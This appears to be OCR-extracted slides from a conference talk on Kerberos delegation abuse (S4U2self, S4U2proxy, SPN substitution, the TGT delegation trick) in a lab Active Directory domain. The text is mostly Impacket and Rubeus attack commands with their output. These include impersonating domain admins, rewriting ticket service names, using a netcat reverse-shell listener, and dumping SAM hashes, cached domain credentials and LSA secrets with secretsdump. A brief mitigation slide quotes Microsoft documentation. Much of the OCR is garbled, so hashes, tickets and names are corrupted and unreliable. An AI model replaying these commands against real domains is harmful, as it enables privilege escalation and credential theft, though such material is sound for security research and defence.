[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

1404ee:3;

[+] Dumping cached domain logon information (dcma)n/username hash)

DOMAIN . LOCAL C2$ 229bbe9d2101: 5
DOMAIN. LOCAL/john: sncczsmzaau 2a92c2fd

[*] Dumping LSA Secrets

[*] $MACHINE.ACC

70c717"

DOMAIN\SVO1$:plain_password_hex: 3f593351953(157&29f9517bela:!‘?c860356f1922cuﬂe2fa?ZSBZdeaZhe?151597d557e§cmﬂc7&29:792377(657532857:‘\

7a0d0ab47a41f7 307169
a17A831187f9BdakkcJcﬂsdhesazhxdﬂaaﬂseﬂ7877637hhd
1404ee: 1
[*] DPAPI_SYSTEM
dpapi_machi 11¢5d5 212
dpapi_t y
[*] NL$KM
0000 5B 57 93 50 E1 94 A1 6F 3F ED 5A 76 C6 25 6B FC

0010 43 EO C4 7D 15 96 2E DC 62 42 45 84 8C OA 5A 0A

-impersonate *domainadmin’

-spn 'cifs/sv01' -dc-ip '192.168.56.101' 'domain.local'/'constraineds': 'baguette’

0-pass -target-ip '192.168.56.201' 'domain.local'/a’'svo1’

3d717904ef f 705d405ccd2756a2d977£38da9f 71507 f5e0a97eb4s5be

75b30c2be1383ddff0150631f2ed2cec39a22345bc81133ed63b93c7d1f7e73e99f c1ac029a4d036c772ecd47661cd6459f618b964e2a90be83b52702e0e30

0020 A1 37 CB 5D 14 EB 13 89 87 1E 13 97 12 C4 OF A2
0030 48 4D FC C7 47 86 64 21 DB AB EQ 5A 37 28 6D 01
NL$KM: 5b5: 38987113971 7478664 7286d01

[*] Cleaning up.

¢ S4U2self request
for USER to APPO1

(USER >
S4U2proxy request

All good, here's a ST
(USER ->

All good, here's a ST 3

—

Access request
(USER ->
S4U2proxy request

for APPO3
(USER >

here's a ST —)

All good, here's a ST
— —>

(USER -> APP03)

Access request
here's a ST
(USER -> APF03)




Capgominids



> S4U2self still produces ST if user protected against delegation

Exegol ~ # getST.py -self -impersonate 'domainadmin' -dc-ip '192.168.56.101' 'domain.local'/'constrained$': 'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-]1 cCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@constrained$@aDOMAIN.LOCAL.ccache

Exegol ~ # getST.py -self -impersonate 'protected_admin' -dc-ip '192.168.56.101' 'domain.local'/'constrained$’': 'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating protected_admin

[*] Requesting S4U2self

[*] Saving ticket in protected_admin@constrained$@DOMAIN.LOCAL.ccache

Exegol ~ # getST.py -self -impersonate 'sensitive_admin' -dc-ip '192.168.56.101' 'domain.local'/'constrained$':'baguette’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[-]1 cCache file is not found. Skipping...

[*] Getting TGT for user

[*] Impersonating sensitive_admin

[*] Requesting S4U2self

[*] Saving ticket in sensitive_admin@constrained$aDOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'sensitive_admin@constrained$@DOMAIN.LOCAL.ccache’

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall0]:

[*] Service Realm : DOMAIN.LOCAL

[*] Start Time : 26/04/2022 18:28:18 PM

[*] End Time 1 27/04/2022 04:28:18 AM

[*] RenewTill 1 27/04/2022 18:28:19 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rck_hmac

[*] Base64(key) : G+Mc2E1QoiVVHY7IKY01cQ==



> SPN (sname) is not protected

Exegol ~ # describeTicket 'sensitive_admin@constrained$aDOMAIN.LOCAL.ccache'
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:

nsitive_admin

x] i ne
[*] Service Realm : DOMAIN.LOCAL

[*] Start Time : 26/04/2022 18:28:18 PM

[*] End Time 1 27/04/2022 04:28:18 AM

[*] RenewTill 1 27/04/2022 18:28:19 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : G+Mc2E1QoiVVHY7IKY01cQ==

[*] Kerberoast hash : $krb5tgs$23$*USER$DOMAIN . LOCAL$constrained$x$1 di 8da94cf6f2: 2d$1ad2fe6bb61d3bfasfbf3c27a49708ee399e33ba1a09682375d1dc1fdbbsd484900eda

644fd7a4330ad743860598fd461615e9010ec03149db873230ea95¢a9883690f4b4316417953c4ed9fd74319693ec49171a758b89d0645489Fa72a04fad1a36a0fdfef7ac7e054a0b443777693F59€99153b2d42a8076c14d9717a3b
41451014beff90ec39ebcf9e9bd7dfobOcdedo8afff663558b8d74dfe6f19d7d314ac724d2fa0352db5216d76961ecf995bf136fbbab69961c2bc4e3b788af8h81d69c66fcac84b2f9cf158171c63ead6e169806f0c73783e24fbbd6
d64d 7d34c2d8e14262280ddc1535253: f9b882c33dbdea8al35eae87d4f8709093eb15a3155481e08d16b8de8b6c832603e19d4074628156a8f26802e33ebe256dd61fe702c9383b2e7c0f23aba6f9bf072e30ca030
5bebb322b9f25cf5888c2bfa545c8f38dd9218515ab1261b02fasd8c8fb8f9a8b9b92d825fcfc4634717f94db6664d965b81cc363243342fef5f745fd790b8ealbeb61fadf5922e6ae44dad0c1c20f74bd4d074ce3bf226f2c71911c
0d1a391ab64b9d88659123b1c6c063f4cd79a87cff5300b01c44a1791996004dc3202b3f12e709eafa5b9590b8b08F49eb28c643622ecdlafef5afbf81770029aabb82ec4b7b45df03e23e5ce80ce460c5f2a9fblcdleb6c48aba07aa

€88b519d69fe974d3dda5bf413bcec54f4f4a6db8838b3604c7cef1ba3114d2b17701321c6e439662199d0d2be8ef2ec39d946efa7fe3053ade25d57c0a866b7193ca690fe0ff4a9d025a8829df: 4 dc7a9db90f9ofas
9¢3d12a9e93d47267357201deff116d0a3abf1ff9f0c88309ebdb073b491b43de275709ce85cc6b30adeb388b@dadfc0581459d4afddc0175a48c288a873fase3adc5473c0908e43b26385652b6ch9ba57c4ff7€95466d16740c5bfa
b52d68b9e97ebefcibd5c438121118cf2d2c87 fef40b047d14cb02f73c6865e58d2d83057Fh16270fa92649c6608f b 1£3374d 36e4d2479ee7168c3c4a8ch2379b6fb2715903a6f3f3fce90735bd08d1ach9351f6a01
€00d5497dec14339f5c8c7b2f7ealafbaf295632. 26e2bf138be6f3 d5eb9821147153¢c7b4984184d10edd6e404ba30

[*] Decoding unencrypted data in credential[@]['ticket']:

Lx Service Name constrained$

[*] sService Realm : DOMAIN.LOCAL

[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
Exegol ~ # tgssub.py -in 'sensitive_admin@constrained$aDOMAIN.LOCAL.ccache' -out 'new_ticket.ccache' -altservice 'cifs/constrained’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1

[*] Changing service from constrained$@DOMAIN.LOCAL to cifs/constrained@DOMAIN.LOCAL
[*] Saving ticket in new_ticket.ccache

Exegol ~ # describeTicket 'new_ticket.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Cerporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:

Name onstrainec

[*] Service Realm : DOMAIN.LOCAL

[*] Start Time : 26/04/2022 18:28:18 PM

[*] End Time 1 27/04/2022 04:28:18 AM

[*] RenewTill 1 27/04/2022 18:28:19 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[*] Base64(key) : G+Mc2E1QoiVVHY7IKY01cQ==



> LPE primitive
> Stealthier Silver Ticket

S4U2self
won't
produce a
forwardable
ticket for
UI()U.‘CI(.‘U users

SPN is
not protected
in the ticket
and can be
changed at will

S4U2self
would still
produce
a ticket with

invalid SPN

SPN is
not protected
in the ticket
and can be
changed at will




> TGT delegation trick

Exegol ~ # nc -lnvp 1337

Ncat: Version 7.92 ( https://nmap.org/ncat )

Ncat: Listening on :::1337

Ncat: Listening on 0.0.0.0:1337

Ncat: Connection from 192.168.56.201.

Ncat: Connection from 192.168.56.201:49750.

Windows PowerShell

Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot> .\Rubeus.exe tgtdeleg /nowrap /domain:DOMAIN.LOCAL
.\Rubeus.exe tgtdeleg /nowrap /domain:DOMAIN.LOCAL

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com’

[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DCO1.domain.local’

[+] Kerberos GSS-API initialization success!

[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.

[*] Found the AP-REQ delegation ticket in the GSS-API output.

[*] Authenticator etype: aes256_cts_hmac_shal

[*] Extracted the service ticket session key from the ticket cache: EigRC7VF9g9E/eZVYXBq/JYKMLZ959kryodPo606t7E=
[+] Successfully decrypted the authenticator

[*] base64(ticket.kirbi):

doIE7DCCBOigAwIBBaEDAgEW00IDIDCCA/BhggPsMIID6KADAGEFoQ4bDERPTUFITi5MTONBTKIhMB+gAWIBAGEYMBYbBmtyYnRndBSMREINQUOLkxPQOFMo4IDrDCCA6igAWIBEGEDAGEC00IDMESCASZ
bD+PViQKVU2y0@8BEtXjWafvuDSXz5D55xH+Euk7sw2emOIoRLoX5+f0rGgqs78gSGG/bnVI8TOUUSX+QuPQIZjk8I8G6MPKTRKpn2YaKVfOGYI4dhYzU4xKAUL jdA1CUCWT4RhRASE+kP+gWx4MV8VrQ5Dh2TO8cW
shrpVxx2QR5C3hp8fQ1Pr3SUfINXTnOIWZDIujpy7kbldYeOwxI421Z8vLkjEP2ze/yjhUUBVIWLhrOYazVMo9iFoo7PvFug/NOOGwwcQU6dMrRBYdv6LksGBDRNXtRCRfc4Q7/jZCOudEWtg1TrGiqR1IwAWhz Ix
brE4feQ521qAQeL /dEXEeShwPZTki /WEZ7uiqv7wpeXdceZ9Rh5SpKMwYnZG2xD8pgPVRzBBHOBLVMWYNNWh jWOUBRCGM5RFOdq6p14pUS jNUMHSO+iVWmEXdH1 7fkag2PwOBkeGOHUGO Xy Ww60Hi EBps052BRFV
J701Lpr8/UPn3S0zDWUtf5Z7F3IbNLWpINWyIks/wo/s85uouCldHORLu4MyHEg4YcsVRntder0/uyGgi6dwTzkWKCTrmP2xyNQfHBXEpvO2SErYSny071K9iLW9bqdQz j8bKmCCwAj6hyI7fKvg/eBUuFsp/izZ8L
ntzf9bi2Wycbi3+h/B11iDqti54y2QsMr4jGpvn4sA6zel 4quwTLpxmlB2QGDSqQEhGS6EFYg0iLli0yYxLz50NIsZYpywOHcHY8sve7V8fDXDGz5y96ABM+XczCsX2390eallMymoryN+uy9Yq53FHtLIcJOBRB2SQ+
0xda4IXBgK3hXw7 LPKytCR/g+bmtvApIUHSS8qroQJ434yHA+pcL8KvSIwOhcwVBIBF5cYNXL8uve2Az+el7ZC2PzNiMwr4cEPNm1mdM1GIpGLCher1gaz3IQx3GxhhRAJ6GRXwpXUmI+moYn0f40q0h9j1GleMkc
tqHqoOb1FRIoykqlvyTaVZrXd392NPZxtCCLDy fCbguTziHFZLP9ilVqLFH6S1icBFV/vm4NnZ5aHzDEEw3+AmUgVkxX7YHCMvE+tWW/CB7w2keDc+eAUbrtP8xsOPTmhTup3YzNs1hByhWDOAWZFPLI7sWIwjBI
mTRhGup58b1s3hnVMv4 ju084bPGV3VFHth+De0/1THx29KpvaG/012bfaFe/S+fclwNsjJj6hM12zwlsLABXzzZ118d2btP+0jgeMwgeCgAWIBAKKB2ASB1X2B0jCBz6CBzDCBY TCBXqArMCmgAWIBEQGEiBCBVVVX
0I4yh5y2TAi3x/a98n8VZML6kO0T56X934Sk+MqEOGWXETA1BSU4UTEIDQUYiE jAQOAMCAQGhCTAHGWVTV jAXx JKMHAWUAYKEAAKURGA8YMDIyMDQyYN jE2MzcONVGmERgPMjAYMjAOMj cwMjM3NDVapxEYDzIwMjIw
NTAzMTYzNzQ1WqgOGwxET@1BSU4uTEIDQUYpITAf0AMCAQKhGDAWGWZrcmI0Z3QbDERPTUFJTi5MTONBTA==
PS C:\inetpub\wwwroot> []



> TGT delegation trick

Exegol ~ # echo 'doIE7DCCBOigAwIBBaEDAgEW00IDIDCCA/BhggPsMIID6KADAGEF0Q4bDERPTUFITi5MTONBTKIhMB+gAwIBAGEYMBYbBmtyYnRndBSMREINQULOLkxPQOFMo4IDrDCCA6igAWIBEQEDAGEC
00IDMgSCA5ZbD+PViQKVU2y08BEtXjWafvuDSXz5D55xH+Euk7sw2emOIoRLoX5+f0rGgqs78gSGG/bnVI8TOuUusX+QuPQJZjk8I8G6MPKTRKpn2YaKVfOGYI4dhYzU4xKAUL jdA1CUCwT4RhRASE+kP+gWx4MVEV
rQ5Dh2TO8cWshrpVxx2QR5C3hp8fQ1Pr3SUfINXTnOIWZDIujpy7kbldYeOwxI421Z8vLkjEP2ze/yjhUUBVOWLhrOYazVMo9iFoo7PvFug/NOOGWwcQUEdMrRBYdv6LksGBDRNXtRCRT c4Q7/jZCOUdEWtg1TrGi
qR1IwAWhzIxbrE4feQ521qAQeL/dEXEeShwPZTki/WEZ7uiqv7wpeX0ceZ9Rh5SpKMwYnZG2xD8pgPVRzBBHOBLVmMWYNNWhjWOUBRCEMSR9dq6p14pUSjNUMHSO+iVWmEXdH17 fkag2PwOBkeGIHUGOLXyWw60H L
EBps05zBRFV701Lpr8/UPn3S0zDWUt f527F3JbNLWp9NWyIks/wo/s85uouCldHORLu4MyHEg4YcsVRntderd/uyGgib6dwTzkWKCTrmP2xyNQfHBXEpvO2SErYSny071K9iLW9bqdQz j8bKmCCwAj6hyI7fKvg/e
BUuFsp/iz8Lntzf9bi2Wycbi3+h/B11iDqti54y2QsMr4jGpvnsA6zeL4quwTLpxmlB2QGDSqQERGS6EFYg0iLi0yYxLz50NIsZYpywOHCHY8sve7V8fDXDGZ5y96ABM+XczCsX2390eallMymoryN+uy9Yq53FHtL
IcJOBRB2SQ+0xdasIXBgK3hXw71PKytCR/g+bmtvApIUHSS8qroQJ434yHA+pcL8KvSIwOhcwVBIBF5cYNXL8uve2Az+el7ZC2PzNiMwr4cEPNm1mdM1GIpGLCherlgaz31Qx3GxhhRAJ6GRXwpXUmI+moYnOf4oq
0h9j1GleMkctqHqoOblFRIoykqlvyTaVZrXd392NPZxtCCLDyfCbguTziHFZLP9il1VqLFH6S1icBFV/vm4NnZI5aHzDEEW3+AmUgVkxX7 YHCMVE+tWW/CB7w2keDc+eAU6rtP8xsOPTmhTup3YzNs1hByhWDOAWZF
PLJ7sWIwjBImTRhGup58bls3hnVMv4ju084bPGV3VFHth+De0/1THx29KpvaG/012bfaFe/S+fclwNsjlj6hM12zwlsLABXzzZ118d2btP+0jgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCBY TCBXxqArMCmgAWIB
EQEiBCBVVVx0I4yh5y2TAi3x/a98n8VZML6kO0F56X934Sk+MqEOGWXETO1BSU4UTEIDQUYE jAQOAMCAQGhCTAHGWVTV jAX IKMHAWUAYKEAAKURGASYMDIyMDQyNj E2MzcONVGmERGPMjAyMjAOMj cwMjM3NDVap

XEYDzIwMjIwNTAZMTYzNzQI1WqgOGwXET01BSU4uTEIDQUYpITAfOAMCAQKhGDAWGWZrcmI@Z3QbDERPTUFITi5MTONBTA==" | base64 -d > sv01_tgt.kirbi
Exegol ~ # ticketConverter.py sv@l_tgt.kirbi sv@1_tgt.ccache

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] converting kirbi to ccache...

[+] done

Exegol ~ # describeTicket 'sv@1_tgt.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentlal[@]

[*] Service Name : krbtgt/DOMAIN.

LOCAL

[*] Service Realm : DOMAIN.LOCAL
[*] Start Time : 26/04/2022 18:37:45 PM
[*] End Time 1 27/04/2022 04:37:45 AM
[*] RenewTill : 03/05/2022 18:37:45 PM
[*] Flags : (0x60a10000) forwardable, forwarded, renewable, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_shal_96
[*] Base64(key) b1VcaCOMoect1AIt8f2va/FWTC+pNKH+el/d+EpPJI-
[*] Decoding unencrypted data in credentlal[O][ ticket']:

Service Name : krbtgt/DOMAIN.LOCAL
[*] Service Realm : DOMAIN.LOCAL
[*] Encryption type : aes256_cts_hmac_shal_96 (etype 18)

[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_shal_96 (etype 18), but no keys/creds were supplied



> S4U2self abuse

Exegol ~ # KRBSCCNAME='sv01_tgt.ccache' getST.py -self -impersonate 'sensitive_admin' -altservice 'cifs/sv01' -dc-ip '192.168.56.101' -k -no-pass 'domain.local'/'sv01$'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corj tion
[*] Impersonating sensitive_admin \ user sensitive

[*] Requesting S4U2self 0

[*] Changing service from svO1$QDOMAIN.LOCAL to cifs/svO1ADOMAIN.LOCAL for delegatlon
[*] Saving ticket in sensitive_adminacifs_svO1aDOMAIN.LOCAL.ccache

Exegol ~ # describeTicket 'sensitive_admindcifs_svO1QDOMAIN.LOCAL.ccache'

Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:

[*] User Name sensitive_admin

[x] User Realm domain.local

[+] Service Name : cifs/svol : s

[*] Service Realm © DOMAIN.LOCAL t’Cket Obta'ned anyway
[*] start Time : 26/04/2022 18:50:36 PM

and usable

[*] End Time 1 27/04/2022 04:37:45 AM

[*] RenewTill : 03/05/2022 18:37:45 PM

[*] Flags : (0x20a10000) forwarded, renewable, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_shal_96

[*] Base64(key) : JPARTVZUZZ3tX61BSVhDPNY/TtND524mLEUKmtnACAU=

[-] AES256 in use but no '-u/--user' passed, unable to generate crackable hash
[*] Decoding unencrypted data in credential[0]['ticket']:

[*] Service Name cifs/svol
[*] Service Realm : DOMAIN.LOCAL
[*] Encryption type : aes256_cts_hmac_shal_96 (etype 18)

[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmgf_shal_96 (etype 18), but no keys/creds were supplied
Exegol ~ # KRBSCCNAME="sensitive_admin@cifs_sv01QDOMAIN.LOCAL.ccache" secretsdump -k -no-pass -target-ip '192.168.56.201' 'domain.local'/@'sve1l’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0x289a31da89b4528e9dc75be5d26a480c
[*] Dumpmg local SAM hashes (uid:rid:lmhash:nthash)

:500: 404ee:874da7d5bb3f7b600365ab102f1e07c8
Guest:501:aad3b435b51404eeaad3b435b51404ee :31d6cfe0d16ae931b73c59d7e0c089¢0: : :
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Dumping cached domain logon information (domain/username:hash)
domain.local/domainadmin: $DCC2$10240#domainadmin#a99afe2c722f9bbe9dd21011d685cdd75
DOMAIN. LOCAL/john:$DCC2$10240#john#3eb0b7570c717926ecac86562a92c2fd
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
DOMAIN\SVO1$:plain_password_hex:3f5e3351953f287829fe517be1a39c860356f1922cc10e2fa725825dda24e7151697d557e5c018c7429¢c792377f0575ae857c643d93e8d9adf490a3f3d717904eff18dd32e82032705d405ccd2756a2
7a0d0ab47a41f77f4db0150a3e4b85d817 31 3e07169ceaea0294d602ce6e62057d4b9bde067475b30c2be1383ddff0150631f2ed2cec39a22345bc81133ed63b93c7d1f7e73e99fc1ac029a4d036c772ecd47661cd645
a174831187f98d345cc1c08db63e2b8d0aa056a27877637bbd
DOMAIN\SV01$:aad3b435b51404eeaad3bs35b51404ee:1357f104dsbobef4s73efc7edb948a55
[*] DPAPI_SYSTEM

dpapi_r i 10x 262430fc32211¢5d5:
dpapi_userkey:0x74ad3264621a6ca304edda916f2f52016a39b33b
[*] NL$KM

0000 5B 57 93 50 E1 94 A1 6F 3F ED 5A 76 C6 25 6B FC  [W.P...0?.Zv.%k.
0010 43 EQ C4 7D 15 96 2E DC 62 42 45 84 8C 0A 5A 0A C..}
0020 A1 37 CB 5D 14 EB 13 89 87 1E 13 97 12 C4 OF A2 «7-]
0030 48 4D FC C7 47 86 64 21 DB AB EO 5A 37 28 6D 01  HM..G. d'...Z7(ll|.

NL$KM: 5b579350e194a16f3fed5a76c6256bfc43e0c47d15962edc624245848c0a5a0aal37cb5d14eb1389871e139712c40fa2484dfcc747866421dbabe05a37286d01




forged PAC

needs knowledge of the service account LT key
Service Ticket with forged PAC (any user, any SPN)
primitive is fairly understood, and monitored

legitimate request
needs same knowledge as Silver Ticket (LT key)
Service Ticket with legitimate PAC
any user,
any SPN of target service,
primitive is less understood, not monitored as much




Capgominids



> the forwardable flag is not protected, why not overwrite it?

Exegol ~ # describeTicket 'domainadmin@constrained$aDOMAIN.LOCAL.ccache’
Impacket v0.9.25.dev1+20220425.154538.4d87f0a8 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall0]:

L*] User

[*] User

[*] Service Name : constrained$

[*] Service Realm : DOMAIN.LOCAL

[*] Start Time : 26/04/2022 16:36:00 PM

[*] End Time : 27/04/2022 02:36:00 AM

[*] RenewTill 1 27/04/2022 16:36:00 PM

[*] Flags : (0xal10000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[N EACED) : 9tLN9P8VPM3pvOMnZ0053g==




> how to mitigate?

Microsoft Docs Documentation Learn Q&A Code Samples Shows Events

Open Specifications Specifications v Dev Center EventsZ  Test Support Programs Patents Blog v

Docs

el 5.1 Security Considerations for Implementers

Open Specifications Article + 04/07/2021 + 2 minutes to read &6

v Protocols

Protocol The S4U2self extension allows a service to obtain a service ticket to itself on behalf of a user. This extension is used to

obtain authorization data for the user to allow the service to make access control decisions on the local system. As such,
the service has to adequately authenticate the user before obtaining the service ticket.

~ Windows Protocols
Windows Protocols
v Technical Documents The S4U2proxy extension allows a service to obtain a service ticket to a second service on behalf of a user. When
Tethnical Docaments combined with S4U2self, this allows the first service to impersonate any user principal while accessing the second service.
This gives any service allowed access to the S4U2proxy extension a degree of power similar to that of the KDC itself. This
implies that each of the services allowed to invoke this extension have to be protected nearly as strongly as the KDC and
the services are limited to those that the implementer knows to have correct behavior.

~ [MS-SFU]J: Kerberos Protocol Extensions: Service for
User and Constrained Delegation Protocol
[MS-SFUJ: Kerberos Protocol Extensions: Service for
User and Constrained Delegation Protocol A service can confirm that the service ticket did not originate from the client by the S4UTransitedServices field in the
> 1 Introduction S4U_DELEGATION_INFO structure (see [MS-PAC] section 2.9).
> 2 Messages
> 3 Protocol Details
> 4 Protocol Examples
v 5 Security
5 Security
5.1 Security Considerations for Implementers
5.2 Index of Security Parameters
6 Appendix A: Product Behavior
7 Change Tracking
8 Index



> you showed abuse from UNIX, how-to from Windows?

Impacket’s describeTicket.py Rubeus’ describe Impacket's getST.py Rubeus' s4u
file.ccache <base64 | file.kirbi>
servicedomain servicedomain user user
serviceuser serviceuser file.ccache <base64 | file.kirbi>
servicepass class/name class/name
servicehexpass class[/name] [ESIVAELE
HASH or HASH HASH (w/ env. var. file.ccache set) <base64 | file.kirbi>
SALT domaincontroller domaincontroller
HASH HASH [LMHASH] : NTHASH RC4
HASH <AES128 | AES256> AES256
part domain
part user
part
Impacket's tgssub.py Rubeus' tgssub

file.ccache
file.ccache
class[/name]

<base64 | file.kirbi>

class[/name]



> (Rubeus example) S4U2proxy abuse - Double KCD (1/4)
> S4U2self -

;
PS C:\> .\Rubeus.exe s4u /nowrap /self /impersonateuser:

omainadmin /dc:192.168.

v2.0.2

[*] Action: 54U
[*] Using rca_hmac hash: 7807698DOACEBS2A6C416F1D3A08369F

[*] Building AS-REQ (w/ preauth) for: 'domain.local\constrained-with-pts'
[*] Using domain controller: 192.168.56.101:88

[+] TGT request successful!

[*] base6a(ticket.kirbi):

onstrained-with-pt$’ /rc4:7807698DIACEBB2A6CA16F1D3A00369F

ID+QSCA/U172mC09YXCqZZgPBNErOSY TSCAGVSLEPT IxeK Cu46AABIA3KOGpt ZexIdtL
1/321VM61VADB/ eWaZYdrtmahvPxrIs8DLHS 3hUyCB1Nn/ J1gezk+AI1221 +E5YcGonpt

doTFsjCc £U2CCBEOhggRLMIT eNBTK. Yululs TEC2CC
~XﬂJdLDrcr‘fHquankhélLy/quSJugH6Mu3r(SpcasnAntsbAol(pFEfltoySMVbCOJnvaNvHiBijleDFSaR]7czb74ru1 Kk1bC1l 1Tar
9iogeC TFAJ nnasmnxr[am;ncwccwpeaonmwumsuww;kwx«Lwpyyv(xmKnczwumszsysmumxk;qwon CIR
£80PKM3NnBogz2+tktdL cpUdyFqLNDPIy X0 KCopebacdrb Ev8njgloxShC 5i q 7STrSF3GC311gZXMOATQBUKHIL LIRmPriNhrc/vgXhOwI4/1Dd6YL6EC
€13E7PEVHRHIIKOL k/HEC2Fn5@daHex PEq GAKTaNx101021 quVLYT +4nkQ3di tcDembDE1+padzpLF 3p a6F iXhkaQ7t1
kxPQe: 4216aC1wdCS ] 1ERPMjAYMIAH] YMDRaphEYDZ Tut] TWNDI 3MDMXMAGHGC

[*] Action: Sy

[*] Building S4U2self request for: ®constrained-with-pt$@DOMAIN.LOCAL
[*] Using domain controller: 192.168.56.161

[*] Sending S4U2self request to 192.168.56.101:88

[+] SaU2self success!

[*] Got a TGs for 'domainadmin’ to
[*] basesa(ticket.kirbi):

*constrained-with-pt $GDOMAIN. LOCAL

doIFRDCCBUCEAWIBBAEDAZEWOOTEVSCCBF JhggROMI IE SGADAEE ITASHTONGTKLIMG AT
N76010ab8s8]0VkaaTwQ7+SWawegQL gJwjxx4TPWOXrUBCACVC tZoXBB1 i Yy

pbmVkLXdpdGgtcHQko4TEDICCH /iNInrT naCg: s
FRNELOWSLZVb/G3iwnCIJa302112n220d w1/ yZ0pSnQt jaPDrBn/ DAYGUVO9b/ jqeOkL Veaar 71 or 66I9XdBSVS06GACogY 551 P1bGESnOGT
jcru

00DBACBERATCKBA1 xHSSyfothlxerj1E179m1ZVQYBLDYMGQBhZ(BVﬂk]BNHLQREX?QHrrOAaZluEevh 25 imy70L

z¢aéhe5k]amxroivwvoeoya‘ngswxuwFsmci(hnkauLBwIs(OananQ/vaNyszezMugb/w)leaj SMSIAzﬂkaduinnEFanL
+E7ULQDHbF 8P6d0QXeXS/OCHZrSShjm/ LkF tOD7WAXZ1NX

YFX6NF1CYeqE 3FSbF126F 9GLMIWZShCXokpDTBI
ZGQt\MluVHRtaNG]BuMFA[(hAA(l[RgPM]AyH)ABN]YxNz[yMDRaphEVDz T3 TWNDI DMK AGHGCRGABYMDTyHDUMZE 3HT Tl

arqTuj

NAL THIBXJnef TafPSWKSqCqP2uoZgy2ebkPFmzP71A1
LpulLu(zAglngFBg/wolJstQZQHg(/gwmao]vn[uBLquq6k7fjdp§(fdwdnoxualEr‘vQ(

K1Fe09EFSufi 2
PS C:\> .\Rubeus.exe describe /ticket:doIFRDCCBUCGAWT EVJCCBFIhggROMIT ITISMTONBTKIhME. TEDjCC
2kA+CeyDICICaRbro21UyVouor: Jovkaar 834]XXA1PWOXrUSCACVCTZOXBE110FhZ@hF (87 2245 Yy m«z1M5szn/enwncuamzxjJnzzmmx/yquanzjavumsn/mv«uvugn/1qeokwmerm7nm
NBUVU1aluXFA128dwz801 BENdTcKEdL YhxIxr+#j1E170mIZYOTILPTHGGODICBY QRex2Q11rr0AaZ1oS T25iny79L -0 IAOFNGEH JC/UIG+AQOrPIMNQ2rB1L pVU2BERENKyY YUNNWIN3 454+ JNALTHIBX e
TInbAOyuc/VAcg! Ja0f 52 +a6hesk 190Khu[kaLBstCOananQlLbVNyslan(gb/HJlLBa)SMS/u&kjadmnn[F[nuL PRDSRBFYC4rqTwj g Lpuuuczaglzgxreg/woxJsc.;onngc/gounaowr
UhZ14/50hy81 Jof8+E7ul MZrSShjma/ LnkFteD7WWXZ1NX TYFx6NFi CYeqE3fSbF1Z0F9GLMINZ ShCXokpDTBI i
EEBOPU2A/FpbK g GOTYMLUYWREaH6 JBWHFAECHAAC ERGPY Ay JAGH] Yx2EyHORADhEYDZ Tl TWNDT SHOMXM]
S| [ B b 1
) 60 0
/1 I
[*] Action: Describe Ticket
serviceName : constrained-with-pt$
serviceRealm : DOMAIN.LOCAL
Usertiame :  domainadmin
UserRealm DOMAIN. LOCAL
StartTime 4/26/2022 10:12:04 AM
EndTime : 4/26/2022
RenewTill : 5/3/2022 1 A
Flags : name. (anoni(alize. pre_authent, renewable, forwardable
KeyType : rca_hma
Base64(key) : NQ@WDEHlsruv47eQVK5¢A




> (Rubeus example) S4U2proxy abuse - Double KCD (2/4)
> S4U2proxy #1

